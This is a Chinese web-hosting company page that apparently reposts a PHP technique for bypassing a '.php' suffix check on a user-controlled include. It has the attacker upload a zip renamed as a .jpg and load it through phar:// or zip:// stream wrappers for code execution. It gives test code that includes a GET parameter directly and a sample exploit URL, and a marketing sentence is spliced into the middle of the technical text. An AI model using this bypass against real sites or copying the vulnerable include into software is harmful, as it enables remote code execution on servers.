扫二维码与项目经理沟通
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
$include_file 可控，可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.php
成都创新互联公司坚持“要么做到，要么别承诺”的工作理念，服务领域包括：网站建设、成都网站制作、企业官网、英文网站、手机端网站、网站推广等服务，满足客户于互联网时代的西秀网站设计、移动媒体设计的需求，帮助企业找到有效的互联网解决方案。努力成为您成熟可靠的网络建设合作伙伴！allow_url_include=Off (不考虑远程包含)
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
include_once( $include_file );
}-----------------------------------------------------
解决方案
要求php>=5.3
把php打包成zip，改名上传，比如名为info.zip.jpg
然后用phar流包装器包含，其中info.zip.jpg为zip文件名，info.php为zip压缩包内子文件名
http://localhost/index.php?a=phar://info.zip.jpg/info.php
测试代码:
echo "ini_get(allow_url_include):".ini_get("allow_url_include")."";
$include_file=$_GET['a'];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
include_once( $include_file );
}
else
{
echo "file err";
}
参考文档：http://php.net/manual/zh/phar.using.stream.php
PS.
据php官方文档所述，最少需要php5.3才能使用，5.3之前需要拓展
如果不能用的话，还可以试试zip流包装器(需要zip拓展)，注意转义井号：
zip://info.zip.jpg#info.php
另外有需要云服务器可以了解下创新互联scvps.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。
我们在微信上24小时期待你的声音
解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流
微信二维码
移动版官网